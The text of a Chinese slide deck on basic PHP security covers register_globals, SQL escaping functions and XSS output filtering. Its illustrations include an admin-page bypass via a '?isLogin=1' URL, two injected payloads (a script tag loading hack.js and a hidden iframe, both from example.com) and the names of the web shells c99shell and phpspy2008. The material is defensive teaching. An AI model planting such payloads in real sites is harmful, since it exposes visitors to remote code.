PHP 防駭 - 基礎觀念篇
- 2. 常見的威脅
上線環境的錯誤訊息中出現相關系統資訊
•
透過網址就能進入管理頁面
•
資料庫中的資料無端地被全部刪除
•
頁面被植入不明連結
•
程式中多出不明的 PHP 檔案
•
- 5. register_globals = Off
• 想偷懶想節省打字字數
• http://localhost/hack/admin/index.php
• http://localhost/hack/admin/index.php?isLogin=1
- 13. 善用 Library 提供的函式
Zend Framework: Zend_Db_Adapter_Abstract::quoteInto()
•
MySQL Library: addslashes(), mysql_real_escape_string()
•
MySQLi Library: mysqli::real_escape_string()
•
ADOdb: ADOConnection::Quote()
•
- 16. 讓瀏覽者踩到地雷
• <?php echo $content ?>
• http://localhost/hack/post.php
– <script
src=quot;http://example.com/hack.jsquot;></script>
– <iframe src=quot;http://example.com/hack.phpquot;
height=quot;0quot;></iframe>
- 17. 去除HTML的影響
• <?php echo htmlspecialchars($content); ?>
– 缺點:沒辦法顯示 HTML
• <?php echo strip_tags($content, '<p>'); ?>
– 缺點:有可能無法避掉 onxxxx 的 JS
• BBCode, Wiki, PEAR::HTML_Safe, …
- 20. 一支 PHP 程式就能看透你的網站
• http://localhost/hack/c99shell.php
• http://localhost/hack/phpspy2008.php